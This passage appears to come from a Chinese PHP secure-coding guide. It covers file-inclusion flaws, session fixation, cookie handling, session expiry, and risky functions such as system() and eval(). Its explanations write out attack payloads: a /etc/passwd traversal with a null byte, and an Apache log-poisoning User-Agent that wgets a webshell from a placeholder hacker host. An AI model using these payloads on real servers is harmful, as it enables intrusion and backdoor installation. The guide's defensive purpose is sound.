1  <?php
2  $theme = 'spring';
3   if (isset( $_GET['themeid'] )) {
4        $themeid = $_GET['themeid'] ;
5             switch ($themeid) {
6                case "1" :
7                    $theme = "spring" ; break ;
8                case "2" :
9                    $theme = "summer" ; break ;
10               case "3" :
11                   $theme = "autumn" ; break ;
12               case "4" :
13                   $theme = "winter" ; break ;
14               default:
15                    $theme = "spring" ; break ;
16          }
17   }
18  include( $theme . '.php' );
19  ?>
```

7.4 漏洞描述

文件包含漏洞是在使用 require()、require_once()、include()、include_once()及 file_get_contents()等文件访问函数时，对用户通过 POST/GET/COOKIE 提交的数据没有进行严格的过滤，而导致黑客通过相关技巧构造参数，随意访问或引用服务器本地或远程文件。通过利用 LFI/RFI 漏洞，黑客可以：

- ✧ **窃取网站源代码及数据库信息。**
- ✧ **在服务器上执行恶意代码并植入webshell后门，严重者可轻易获取服务器root权限。**
- ✧ **窃取合法用户的SESSION信息。**

在下面简单的例子中，实现了通过 URL 请求参数改变页面主题的功能，用户通过请求“http://www.site.com/index.php?theme=winter”的方式即可改变网页的主题：

```
1 <?php
2  $theme = 'spring';
3  if (isset( $_GET['theme'] )) $theme = $_GET['theme'];
4  include( $theme . '.inc' );
5 ?>
```

这是一个很典型的 LFI 漏洞，代码中对用户提交的“theme”参数没有做任何限制， 当用户请求“http://www.site.com/index.php?theme=../../../../../../etc/passwd%00”时，服务器返回给浏览器的将是/etc/passwd 文件的内容。因为“theme”参数包含有 Null Byte(%00)，PHP 在处理时会忽略“%00”后门的字符串，即“.inc”后缀被忽略。

7.5 LFI 上传 webshell 的途径

D. 通过Apache的access.log日志文件：

正常情况下 Apache 的访问日志格式如下：

```
192.168.1.1 - - [22/Oct/2011:20:03:58 +0800] "GET /index.php?theme=winter HTTP/1.1" 200
1378 "-" "Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2"
```

但 HTTP 请求头部的“User-agent”头可通过浏览器插件或本地代理进行修改，因此黑客可以把“User-agent”值改成“<php? System("wget http://www.hacker.com/shell.php -O shell.php"); ?>”，于是相应的 Apache 日志就变成了：

```
192.168.1.1 - - [22/Oct/2011:20:03:58 +0800] "GET /index.php?theme=winter HTTP/1.1" 200
1378 "-" "<php? System("wget http://www.hacker.com/shell.txt -O shell.php"); ?>"
```

最后黑客通过访问“http://www.site.com/index.php?theme=../../../../../../var/log/apache2/access.log%00”，“wget http://www.hacker.com/shell.txt -O shell.php”命令即被执行，并把后门文件下载并保存到网站根目录下，后续通过“http://www.site.com/shell.php”即可访问到该木马后门。

E. 通过/proc/self/environ 文件：

也包含相应的 User-agent 信息，同样也可被黑客利用。

F. gif、jpeg 等图像文件的 comment：

可通过图像编辑工具在图像的 comment 中添加恶意代码，并把修改后的图片文件上传到服务器，接着便可通过 LFI 漏洞引用图片并执行 comment 中的恶意代码：

```
http://www.site.com/index.php?theme=../uploads/pics/shell.gif %00
```

7.6 LFI/RFI 漏洞防范

规则 7.1 在 php.ini 中关闭“allow_url_include”及“allow_url_fopen”功能

规则 7.2 在使用来自客户端的数据之前，对数据进行严格过滤

规则 7.3 更改文件上传目录，并限制上传文件格式

建议 7.1 尽量使用“非动态 include”，避免 include 等函数直接使用来自用户的数据

说明：

```
<?php
$theme = 'spring';
 if (isset( $_GET['themeid'] )) {
      $themeid = $_GET['themeid'] ;
           switch ($themeid) {
              case "1" :
                  $theme = "spring" ; break ;
              case "2" :
                  $theme = "summer" ; break ;
              case "3" :
                  $theme = "autumn" ; break ;
              case "4" :
                  $theme = "winter" ; break ;
              default:
                   $theme = "spring" ; break ;
         }
 }
include( $theme . '.php' );
?>
```

8 SESSION 定制漏洞

8.1 漏洞描述

在用户登录成功后，SessionID 便成了唯一标识用户合法身份的 ID，因此黑客通过网站漏洞攻击合法客户主要是围绕如何窃取用户 SessionID 来进行，针对“Session 定制”漏洞的攻击也不例外。但与通过 XSS 漏洞“偷”用户 SessionID 的方式不同，针对“Session 定制”漏洞的攻击采用“骗”的方式：黑客首先欺骗受害者使用自己生产的 SessionID，待受害者成功登录成功后，便使用该已知 SessionID 冒用受害者的合法身份。

“Session 定制”漏洞产生的根源是网站程序完全信任来自用户的的 SessionID。针对“Session 定制”漏洞的攻击一般分为三个阶段：

A. 生成SessionID

通常 WEB 服务器采用“宽松模式”或“严格模式”进行 SessionID 分配：

- **宽松模式：**采用HTTP请求发送过来的任何SessionID，当该SessionID在服务器上不存在时便以其为ID构建新的Session。PHP、Jrun等平台采用此种方式。
- **严格模式：**只接受之前由服务器生成的合法SessionID，当HTTP请求提交的SessionID不存在时，该Session视为无效。IIS采用采用严格模式。

在“宽松模式”中，黑客可随意指定 SessionID，而在“严格模式”中，黑客则需要通过访问目标网站获取服务器分配的合法 SessionID，并确保该 SessionID 在被受害者使用并成功登录目标网站之前不会超时。

B. 欺骗受害者使用SessionID

在生成 SessionID 后，黑客需要通过代码以确保 SessionID 能在用户不知情的情况下被使用，一般黑客可通过以下方式把 SessionID 发送到受害者浏览器：

- 使用类似于“http://www.shop.com/login.php?SESSIONID=1234567890”URL的方式
- 通过 XSS 漏洞构建虚假的登录表单，SessionID 以隐藏表单域方式想服务器发送。
- 把 SessionID 写入受害者浏览器 cookie 中，如通过 JavaScript 脚本写入 cookie：“document.cookie=”SESSIONID=1234567890””。

C. 利用用户合法身份

在受害者使用定制的 SessionID 成功登录目标网站后，黑客便可使用该 SessionID 冒用受害者合法身份，直至该 Session 失效。

8.2 会话定制防范

规则 8.1 只接受以 cookie 方式提供的 SessionID

说明：当 php.ini 文件中的“session.use_only_cookies”的值为“OFF”时，PHP 可接受通过 URL/FORM 方式发送过来的 SessionID；值为“ON”时可有效降低“Session 定制”漏洞风险（“session.user_only_cookies”的默认值为“ON”），另外也可避免通过 referer 请求头部、浏览器历史记录、服务器访问日志、用户收藏夹及 URL 分享方式泄漏 SessionID。

规则 8.2 规则保存 SessionID 的 cookie 需标识为“HttpOnly”

说明：当标识为“HttpOnly”时 cookie 将无法通过 JavaScript 读写，因此可增加黑客构建钓鱼界面的难度。

规则 8.3 只接受来自服务器产生的 SessionID

说明：在对用户进行身份验证之前，应确保只接受之前由服务器生成的 SessionID，否则应销毁并重新生成 Session：

```
1 <?php
2 if (!isset($_SESSION['SERVER_GENERATED_SID'])) {
3    session_destroy();
4 }
5 session_regenerate_id();
6 $_SESSION['SERVER_GENERATED_SID'] = true;
7 ?>
```

建议 8.1 只接受来自于本站点的登录请求

说明：通过检查 HTTP 请求的 referer 头部，在当登录请求发起于其它站点时重新生成 SessionID，可有效避免黑客通过构建钓鱼界面的方式诱使受害者登录目标网站：

```
1 <?php
2 if (strpos($_SERVER['HTTP_REFERER'], 'http://www.shop.com/') !== 0) {
3    session_destroy();
4 }
5 session_regenerate_id();
6 ?>
```

建议 8.2 对每个 Session 进行 IP 地址绑定

说明：在每一个处于验证机制保护下的页面中对用户的 IP 地址进行检查，当用户后续请求使用的 IP 地址与登录时使用的 IP 地址不一致时，强制销毁 Session 并要求用户重新登录。这种方式亦可有效避免黑客利用 XSS 漏洞盗用受害者 cookie：

```
1 <?php
2 if($_SERVER['REMOTE_ADDR'] != $_SESSION['PREV_REMOTEADDR']) {
3    session_destroy();
4 }
5 session_regenerate_id();
6 $_SESSION['PREV_REMOTEADDR'] = $_SERVER['REMOTE_ADDR'];
7 ?>
```

规则 8.4 在用户登录成功后重新生成 SessionID

说明：在每次用户登录时重新生成 SessionID，而不是使用可能由黑客提供的 SessionID：

```
1 <?php
2 function checkUser($user,$pass) {
3
4         return true ;
5 }
6
7 session_start();
8
9 if (checkuser("user","pass")) {
10         session_regenerate_id();
11         $_SESSION['authen'] = true;
12 }
13 ?>
```

规则 8.5 在用户退出登录时销毁 Session

说明：在用户注销后应立即销毁 Session，以避免 Session 被黑客重新使用。

9 Cookie 管理

规则 9.1 禁止在 Cookie 中存储序列化数据

- Cookie中存储序列化数据风险

若 cookie 是明文可读的，那么用户可以很容易的操作该 cookie。因此，需使用加密程序加密 cookie 以防止 cookie 被篡改，并确保该 cookie 对其他任何客户端及其他网站无意义。

- 防范方法

若只是对 cookie 进行简单的序列化，则序列化后的 cookie 数据量较大，这将会使得浏览器的请求变的较大且慢，而且浏览器对 Cookie 的大小限制。为使得序列化后的数据量较小，序列化时可使用__sleep()和__wakeup()方法，然后调用 zlib compress()方法压缩序列化后的 cookie。

规则 9.2 安全删除 Cookie

- Cookie信息未及时清理（或清理不当）风险

  Web 应用通常会使用 Cookie 存放用户身份相关的敏感信息，当这些信息未及时清理明可能带来用户身份被冒用的风险；如果清理不当又会造成应用无法正常提供服务的问题。

- 正确删除Cookie方法

  使用如下的方法可安全删除 cookie：

  setcookie ($name, "", 1);

  setcookie ($name, false);

  unset($_COOKIE[$name]);

  第一行确保在浏览器的 cookie 过期，第二行是清除 cookie 的标准方式，第三行则是从所使用的脚本中删除 cookie。

建议 9.1 Web 应用应禁止“记住我”功能

- “记住我”功能风险

  如果 Web 应用提供了“记住我”功能，用户在不清楚风险情况下误用，与用户使用同一台计算机的恶意用户可以不用输入用户名和口令，就可冒充用户访问 Web 应用执行恶意操作，给用户带来损失。

- 防范方法

  对于安全性要求较高的 Web 应用，应当使用一次性 token（token 应当足够长，并且内容要随机防止被猜测），在访问 Web 应用时应当验证一次性 token 的有效性；对于安全性要求不高的 Web 应用，可以根据实际需要决定是否使用该功能，若使用，在用户选择“记住我”功能时，对用户警告风险。

规则 9.2 禁止在持久性 Cookie 中存储用户名和口令

- 持久性Cookie中存储用户名和口令的风险

  持久性 Cookie 内容会记录在硬盘文件中，如果使用持久性 Cookie 存储用户名和口令，则在相应的文件中能够查看到用户名和口令，从而造成用户身份被冒用。

- 防范方法

  应当把用户身份信息保存在 session 或会话 cookie 中，无论是 session 还是会话 cookie 都只在内存中出现，并且当浏览器关闭时这些信息会消失，降低用户身份被冒用的风险。

10 GC 垃圾收集机制

10.1 机制描述

在 PHP 中，当没有任何变量指向这个对象时，这个对象就成为垃圾，PHP 会将其在内存中销毁，这是 PHP 的 GC 垃圾处理机制，防止内存溢出。

GC 进程一般都跟着每起一个 SESSION 而开始运行的，其目的是为了在 SESSION 过期以后自动销毁删除 SESSION 相关资源。

但 PHP 的 GC 垃圾回收机制中，没有一个 daemon 线程来定期的扫描 SESSION 信息并判断其是否失效，当一个有效的请求发生时，PHP 会根据全局变量 session.gc_probability 和 session.gc_divisor 的值，来决定是否在启用新会话/重用现有会话时启动 GC，在默认情况下， session.gc_probability 为 1，session.gc_divisor 为 100，也就是说 100 个请求中只有一个 GC 会伴随 100 个中的某个请求而启动。

10.2 漏洞描述

当用户登陆某个页面后，如管理 Portal，该页面或者浏览器在异常退出的情况下，如直接关闭浏览器，则会导致 SESSION ID（下面简称 SID）不失效，若该 ID 被恶意用户获取到，则可操控该 Portal 的功能，如修改用户信息。

SID 生成机制为：启动浏览器，PHP 如果没有 SID 则生成新的 SID，如果有 SID 则使用现有 SID；正常关闭 IE，PHP 释放 SID，否则不释放 SID。

PHP 检验 Session ID 的有效性机制为：通常情况下，启动浏览器新生成 SID 时 PHP 会概率抽检 SID 的有效性，如果发现是过期的则新生成 SID。若该 SID 已过期，根据 PHP 的 GC 垃圾回收机制，GC 的创建由 PHP 解析器中的配置 session.gc_probability = 1 和 session.gc_divisor = 1000 两个配置项决定的，这两个值的比值 1/1000，是指 1/1000 的概率在生成下次 SID 时启动 GC 机制，回收已过期的 SID。

PHP 检验 SID 有效性机制存在如下缺陷：从 PHP 检验 SID 有效性描述看，检验条件只发生在“启用新会话/重用现有会话时”，如果浏览器异常关闭，则 PHP 不释放 SID，即也不会触发 PHP 检验 SID 有效性条件，故检验不出过期 SID，造成 SID 不失效。

因此，编程时需由程序保证过期 SID 的回收。

规则 10.1 保证过期 SID 的正常回收

说明：针对 PHP 检验 SID 有效性机制存在无法回收 SID 的缺陷，编程时需采取措施保证 SID 的回收。

实施指导：

在 Web Server 中，记录 SID 的最近一次访问时间，当下次操作时，与最近一次访问时间对比，如果超过给定的有效期，直接销毁该 SID，否则，则继续使用该 SID。

11 其他

规则 11.1 Web 应用禁止使用 phpinfo()

说明：phpinfo()函数提供了详细的服务器 PHP 环境配置信息，是 PHP 提供的一个比较方便的排错工具。但是往往因为开发人员的一时疏忽，把带有 phpinfo()的页面部署到生产环境上，造成严重的信息泄露，给潜在攻击者提供了很大的便利。因此在生产环境中应禁止使用 phpinfo()函数，以避免不必要的安全隐患。

实施指导：

修改 php.ini 文件中的 disable_functions 配置项，把“phpinfo”添加到清单中：
disable_functions=phpinfo
备注：如果要禁用多个函数，函数名之间用逗号隔开。

建议 11.1 Web 应用避免使用 eval()、exec()、passthru()、popen()、proc_open()、system()、shell_exec()、pcntl_exec()等方法

说明：上述函数是 PHP 用于调用底层系统命令的函数，如对其参数过滤不严，将容易导致“系统命令执行”漏洞，使黑客轻易地执行系统命令并获得服务器的 shell 权限。另外所谓的 webshell 会通过这些函数跟底层系统进行交互，因此关闭这些函数可有效地降低 webshell 的安全威胁。

如必须使用，必须对输入参数进行严格的输入校验（如：长度、范围、类型校验），并使用 escapeshellcmd() 、escapeshellarg()函数对其参数进行转义处理。

实施指导：

1、当不使用这些函数时，需通过 disable_functions 配置项禁止这些函数的使用：

修改php.ini文件中的disable_functions配置项，把要禁用的函数添加到

disable_functions参数值中，多个函数，用逗号分开，例如：

disable_functions=phpinfo,get_cfg_var，

eval,exec,passthru,popen,proc_open,system,shell_exec,pcntl_exec

2、当使用这些函数时，应使用 escapeshellcmd()或 escapeshellarg()对其参数进行过滤。

escapeshellcmd()：

```
<?php
$command = './configure '.$_POST['configure_options'];
$escaped_command = escapeshellcmd($command);
system($escaped_command);
?>
```

escapeshellarg()：

```
<?php
system('ls ' . escapeshellarg($dir));
?>
```

建议 11.2 Web 应用避免使用 preg_replace()函数

说明：当使用/e 修饰符，preg_replace 会将 replacement 参数当作 PHP 代码执行，如使用不当将容易引入漏洞，建议使用 preg_match()替代。

建议 11.3 应用避免使用 die() or exit()函数

说明：die() or exit() 函数会输出错误信息，导致信息泄露，即使设置环境参数 display_errors 为 OFF